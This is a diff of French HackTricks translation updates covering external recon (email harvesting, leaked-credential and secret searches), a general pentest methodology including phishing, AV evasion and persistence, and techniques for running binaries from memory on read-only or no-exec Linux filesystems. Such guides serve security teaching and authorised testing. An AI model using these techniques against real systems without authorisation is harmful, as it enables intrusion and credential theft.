Ensuite, avec ces mots, vous devriez générer des **permutations** (consultez le [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) pour plus d'informations).
|
||||
Ensuite, avec ces mots, vous devriez générer des **permutations** (consultez la [**Deuxième phase de Brute-Force DNS**](./#second-dns-bruteforce-round) pour plus d'informations).
|
||||
|
||||
Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
|
@ -532,7 +532,7 @@ Si vous trouvez des éléments tels que des **buckets ou des fonctions cloud ouv
|
|||
|
||||
## E-mails
|
||||
|
||||
Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez **besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise :
|
||||
Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous **avez besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise :
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - avec des APIs
|
||||
* API de [**https://hunter.io/**](https://hunter.io/) (version gratuite)
|
||||
|
@ -541,29 +541,29 @@ Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essent
|
|||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Les e-mails seront utiles plus tard pour **forcer des connexions web et des services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces APIs vous donneront encore plus d'**informations sur la personne** derrière l'e-mail, ce qui est utile pour la campagne de phishing.
|
||||
Les e-mails seront utiles plus tard pour **brute-forcer les connexions web et les services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces APIs vous donneront encore plus d'**informations sur la personne** derrière l'e-mail, ce qui est utile pour la campagne de phishing.
|
||||
|
||||
## Fuites d'informations d'identification
|
||||
## Fuites d'identifiants
|
||||
|
||||
Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des informations d'identification qui ont été divulguées dans le passé appartenant à ces e-mails :
|
||||
Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des identifiants qui ont fuité dans le passé appartenant à ces e-mails :
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Si vous trouvez des informations d'identification **divulguées valides**, c'est une victoire très facile.
|
||||
Si vous trouvez des identifiants qui ont fuité **valides**, c'est une victoire très facile.
|
||||
|
||||
## Fuites de secrets
|
||||
|
||||
Les fuites d'informations d'identification sont liées aux piratages d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises pourraient être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
|
||||
Les fuites d'identifiants sont liées aux piratages d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises pourraient être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
|
||||
|
||||
### Fuites Github
|
||||
|
||||
Des informations d'identification et des APIs peuvent être divulguées dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
|
||||
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement dessus.
|
||||
Des identifiants et des APIs pourraient être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
|
||||
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux.
|
||||
|
||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** en tant que parfois les **pages web contiennent également des secrets**.
|
||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** à celui-ci car parfois les **pages web contiennent également des secrets**.
|
||||
|
||||
#### Dorks Github
|
||||
|
||||
|
@ -575,22 +575,22 @@ Consultez également cette **page** pour des **dorks github potentiels** que vou
|
|||
|
||||
### Fuites de Pastes
|
||||
|
||||
Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de coller**. Cela peut ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\
|
||||
Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de coller en même temps.
|
||||
Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de paste**. Cela pourrait ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\
|
||||
Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de paste en même temps.
|
||||
|
||||
### Dorks Google
|
||||
|
||||
Les anciens mais bons dorks google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas s'y trouver**. Le seul problème est que la [**base de données de piratage google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
||||
|
||||
_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très très rapidement._
|
||||
_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très rapidement._
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Si vous trouvez des informations d'identification ou des jetons API **divulgués valides**, c'est une victoire très facile.
|
||||
Si vous trouvez des identifiants ou des jetons API qui ont fuité **valides**, c'est une victoire très facile.
|
||||
|
||||
## Vulnérabilités de Code Public
|
||||
|
||||
Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez **l'analyser** et rechercher des **vulnérabilités**.
|
||||
Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez l'**analyser** et rechercher des **vulnérabilités** dessus.
|
||||
|
||||
**Selon le langage**, il existe différents **outils** que vous pouvez utiliser :
|
||||
|
||||
|
@ -603,9 +603,9 @@ Il existe également des services gratuits qui vous permettent de **scanner des
|
|||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Méthodologie de test d'application Web**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, c'est pourquoi j'aimerais parler d'une **méthodologie de test d'application web**, que vous pouvez [**trouver ici**](../../network-services-pentesting/pentesting-web/).
|
||||
La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, donc à ce stade, j'aimerais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver ces informations ici**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Je tiens également à mentionner la section [**Outils open source de scan automatique Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même s'ils ne sont pas censés trouver des vulnérabilités très sensibles, ils sont utiles pour implémenter des **flux de travail pour obtenir des informations web initiales.**
|
||||
Je tiens également à mentionner la section [**Outils open source de scanners automatiques Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les implémenter dans des **flux de travail pour obtenir des informations web initiales.**
|
||||
|
||||
## Récapitulatif
|
||||
|
||||
|
@ -619,11 +619,11 @@ Donc, vous avez déjà :
|
|||
4. Trouvé tous les **sous-domaines** des domaines (une prise de contrôle de sous-domaine ?)
|
||||
5. Trouvé tous les **IP** (à partir et **non à partir de CDN**) dans le périmètre.
|
||||
6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui mérite un examen plus approfondi ?)
|
||||
7. Trouvé tous les **actifs publics du cloud** appartenant à l'entreprise.
|
||||
7. Trouvé tous les **actifs potentiels dans le cloud public** appartenant à l'entreprise.
|
||||
8. **Emails**, **fuites d'identifiants**, et **fuites de secrets** qui pourraient vous donner une **grosse victoire très facilement**.
|
||||
9. **Pentester tous les sites web que vous avez trouvés**
|
||||
9. **Testé en pentestant tous les sites web que vous avez trouvés**
|
||||
|
||||
## **Outils automatiques de reconnaissance complète**
|
||||
## **Outils automatiques de reconnaissance complets**
|
||||
|
||||
Il existe plusieurs outils qui effectueront une partie des actions proposées contre un périmètre donné.
|
||||
|
||||
|
@ -636,9 +636,9 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co
|
|||
|
||||
* Tous les cours gratuits de [**@Jhaddix**](https://twitter.com/Jhaddix) comme [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en hacking** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
|
@ -28,11 +28,11 @@ _Logos Hacktricks conçus par_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
|||
|
||||
### 0- Attaques Physiques
|
||||
|
||||
Avez-vous un **accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../physical-attacks/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../physical-attacks/escaping-from-gui-applications/).
|
||||
Avez-vous **accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../physical-attacks/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../physical-attacks/escaping-from-gui-applications/).
|
||||
|
||||
### 1 - [Découverte des hôtes à l'intérieur du réseau](pentesting-network/#discovering-hosts)/ [Découverte des actifs de l'entreprise](external-recon-methodology/)
|
||||
|
||||
**En fonction** du **test** que vous effectuez, qu'il s'agisse d'un **test interne ou externe**, vous pouvez être intéressé par la recherche des **hôtes à l'intérieur du réseau de l'entreprise** (test interne) ou par la **recherche des actifs de l'entreprise sur Internet** (test externe).
|
||||
**En fonction** du **test** que vous effectuez, qu'il s'agisse d'un **test interne ou externe**, vous pouvez être intéressé par la recherche des **hôtes à l'intérieur du réseau de l'entreprise** (test interne) ou par la recherche des **actifs de l'entreprise sur Internet** (test externe).
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que si vous effectuez un test externe et que vous parvenez à accéder au réseau interne de l'entreprise, vous devriez recommencer ce guide.
|
||||
|
@ -45,7 +45,7 @@ Avant d'attaquer un hôte, vous préférerez peut-être **voler des identifiants
|
|||
|
||||
### 3- [Balayage de ports - Découverte de services](pentesting-network/#scanning-hosts)
|
||||
|
||||
La première chose à faire lorsque vous **cherchez des vulnérabilités dans un hôte** est de savoir quels **services sont en cours d'exécution sur quels ports. Voyons les [**outils de base pour scanner les ports des hôtes**](pentesting-network/#scanning-hosts).
|
||||
La première chose à faire lorsque vous cherchez des vulnérabilités dans un hôte est de savoir quels **services sont en cours d'exécution sur quels ports**. Voyons les [**outils de base pour balayer les ports des hôtes**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Recherche d'exploits de version de service](search-exploits.md)
|
||||
|
||||
|
@ -60,25 +60,25 @@ S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vou
|
|||
**Je tiens à mentionner spécialement la partie** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(car c'est la plus étendue).**\
|
||||
Également, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](search-exploits.md) peut être trouvé ici.
|
||||
|
||||
**Si votre service ne figure pas dans l'index, recherchez sur Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute.** Si vous ne **trouvez rien** sur Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a).
|
||||
**Si votre service ne figure pas dans l'index, recherchez sur Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute**. Si vous ne **trouvez rien** sur Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a).
|
||||
|
||||
#### 5.1 Outils Automatiques
|
||||
|
||||
Il existe également plusieurs outils qui peuvent effectuer des **évaluations automatiques des vulnérabilités**. **Je vous recommande d'essayer** [**Legion**](https://github.com/carlospolop/legion)**, qui est l'outil que j'ai créé et qui est basé sur les notes sur le pentesting des services que vous pouvez trouver dans ce livre.**
|
||||
|
||||
#### **5.2 Brute-Force de services**
|
||||
#### **5.2 Brute-Forcing des services**
|
||||
|
||||
Dans certains scénarios, une **attaque par force brute** pourrait être utile pour **compromettre** un **service**. [**Trouvez ici une feuille de triche de différentes attaques par force brute de services**](brute-force.md)**.**
|
||||
Dans certains scénarios, une **attaque par force brute** pourrait être utile pour **compromettre** un **service**. [**Trouvez ici une feuille de triche de différentes attaques par force brute sur les services**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer un phishing** pour pénétrer dans le réseau. Vous pouvez lire ma méthodologie de phishing [ici](phishing-methodology/):
|
||||
Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer le phishing** pour pénétrer dans le réseau. Vous pouvez consulter ma méthodologie de phishing [ici](phishing-methodology/):
|
||||
|
||||
### **7-** [**Obtention d'un Shell**](shells/)
|
||||
|
||||
D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un shell inversé serait très utile](shells/).
|
||||
|
||||
Surtout sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Particulièrement sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- À l'intérieur
|
||||
|
||||
|
@ -119,14 +119,14 @@ Trouvez ici différentes façons de [**dump les mots de passe dans Windows**](br
|
|||
|
||||
#### 11.2 - Persistance
|
||||
|
||||
**Utilisez 2 ou 3 types différents de mécanismes de persistance pour ne pas avoir besoin d'exploiter à nouveau le système.**\
|
||||
**Utilisez 2 ou 3 types différents de mécanismes de persistance afin de ne pas avoir besoin d'exploiter à nouveau le système.**\
|
||||
**Ici, vous pouvez trouver quelques** [**astuces de persistance sur l'annuaire actif**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
À FAIRE : Compléter la persistance Post dans Windows & Linux
|
||||
TODO: Compléter la persistance Post dans Windows & Linux
|
||||
|
||||
### 12 - Pivotage
|
||||
|
||||
Avec les **identifiants collectés**, vous pourriez avoir accès à d'autres machines, ou peut-être avez-vous besoin de **découvrir et scanner de nouveaux hôtes** (commencer à nouveau la méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\
|
||||
Avec les **identifiants collectés**, vous pourriez avoir accès à d'autres machines, ou peut-être avez-vous besoin de **découvrir et scanner de nouveaux hôtes** (commencer à nouveau la Méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\
|
||||
Dans ce cas, le tunneling pourrait être nécessaire. Ici, vous pouvez trouver [**un article parlant de tunneling**](tunneling-and-port-forwarding.md).\
|
||||
Vous devriez également consulter l'article sur la [Méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/). Vous y trouverez des astuces intéressantes pour se déplacer latéralement, élever les privilèges et dump les identifiants.\
|
||||
Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela pourrait être très utile pour pivoter dans les environnements Windows.
|
||||
|
@ -149,9 +149,9 @@ Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela po
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Oracle de rembourrage**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une carrière en **piratage informatique** et pirater l'impiratable - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
||||
Si vous êtes intéressé par une carrière en **piratage informatique** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
|
@ -24,12 +24,12 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi
|
|||
|
||||
Dans les vidéos suivantes, vous trouverez les techniques mentionnées sur cette page expliquées plus en détail :
|
||||
|
||||
* [**DEF CON 31 - Exploration de la manipulation de la mémoire Linux pour la discrétion et l'évasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DEF CON 31 - Exploration de la manipulation de la mémoire Linux pour la furtivité et l'évasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intrusions furtives avec DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Scénario lecture seule / pas d'exécution
|
||||
|
||||
Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en **lecture seule (ro)**, notamment dans les conteneurs. Cela est dû au fait qu'il est aussi simple de lancer un conteneur avec un système de fichiers en ro en définissant **`readOnlyRootFilesystem: true`** dans le `securitycontext` :
|
||||
Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en **lecture seule (ro)**, notamment dans les conteneurs. Cela est dû au fait qu'il est facile d'exécuter un conteneur avec un système de fichiers en ro en définissant simplement **`readOnlyRootFilesystem: true`** dans le `securitycontext` :
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,7 +44,7 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** restera inscriptible, donc il est faux de penser que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**.
|
||||
Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** restera inscriptible, donc en réalité, nous pouvons écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
D'un point de vue d'équipe rouge, cela rend **compliqué le téléchargement et l'exécution** de binaires qui ne sont pas déjà présents dans le système (comme des portes dérobées ou des outils d'énumération comme `kubectl`).
|
||||
|
@ -58,28 +58,28 @@ Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'
|
|||
|
||||
## Contournements de la mémoire
|
||||
|
||||
Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant à partir de la mémoire, car les **protections ne s'appliquent pas là**.
|
||||
Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant depuis la mémoire, car les **protections ne s'appliquent pas là**.
|
||||
|
||||
### Contournement de l'appel système FD + exec
|
||||
|
||||
Si vous disposez de moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter en mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **appel système `exec`** en indiquant le **fd comme fichier à exécuter**.
|
||||
Si vous disposez de moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **appel système `exec`** en indiquant le **fd comme fichier à exécuter**.
|
||||
|
||||
Pour cela, vous pouvez facilement utiliser le projet [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le **binaire compressé et encodé en b64** avec les instructions pour **le décoder et le décompresser** dans un **fd** créé en appelant la syscall `create_memfd` et un appel à l'appel système **exec** pour l'exécuter.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cela ne fonctionne pas dans d'autres langages de script comme PHP ou Node car ils n'ont aucun moyen **par défaut d'appeler des appels système bruts** à partir d'un script, il n'est donc pas possible d'appeler `create_memfd` pour créer le **fd en mémoire** pour stocker le binaire.
|
||||
Cela ne fonctionne pas dans d'autres langages de script comme PHP ou Node car ils n'ont pas de **moyen par défaut d'appeler des appels système bruts** à partir d'un script, il n'est donc pas possible d'appeler `create_memfd` pour créer le **fd en mémoire** pour stocker le binaire.
|
||||
|
||||
De plus, la création d'un **fd régulier** avec un fichier dans `/dev/shm` ne fonctionnera pas, car vous ne serez pas autorisé à l'exécuter en raison de la **protection no-exec** qui s'appliquera.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) est une technique qui vous permet de **modifier la mémoire de votre propre processus** en écrasant son **`/proc/self/mem`**.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) est une technique qui vous permet de **modifier la mémoire de votre propre processus** en écrivant dans son **`/proc/self/mem`**.
|
||||
|
||||
Par conséquent, en **contrôlant le code assembleur** qui est exécuté par le processus, vous pouvez écrire un **shellcode** et "muter" le processus pour **exécuter n'importe quel code arbitraire**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** vous permettra de charger et d'**exécuter** votre propre **shellcode** ou **n'importe quel binaire** à partir de la **mémoire**.
|
||||
**DDexec / EverythingExec** vous permettra de charger et d'**exécuter** votre propre **shellcode** ou **n'importe quel binaire** depuis la **mémoire**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -93,13 +93,13 @@ Pour plus d'informations sur cette technique, consultez le Github ou :
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **shellcode demonisé DDexec**, donc chaque fois que vous voulez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **démon de shellcode DDexec**, donc chaque fois que vous voulez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter**.
|
||||
|
||||
Vous pouvez trouver un exemple de l'utilisation de **memexec pour exécuter des binaires à partir d'un shell PHP inversé** dans [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
Dans un but similaire à DDexec, la technique [**memdlopen**](https://github.com/arget13/memdlopen) permet une **manière plus facile de charger des binaires** en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances.
|
||||
Avec un objectif similaire à DDexec, la technique [**memdlopen**](https://github.com/arget13/memdlopen) permet un **moyen plus facile de charger des binaires** en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances.
|
||||
|
||||
## Contournement de Distroless
|
||||
|
||||
|
@ -131,7 +131,7 @@ Cependant, dans ce type de conteneurs, ces protections existent généralement,
|
|||
|
||||
Vous pouvez trouver des **exemples** sur la façon d'**exploiter certaines vulnérabilités RCE** pour obtenir des **shells inversés de langages de script** et exécuter des binaires en mémoire dans [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
||||
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
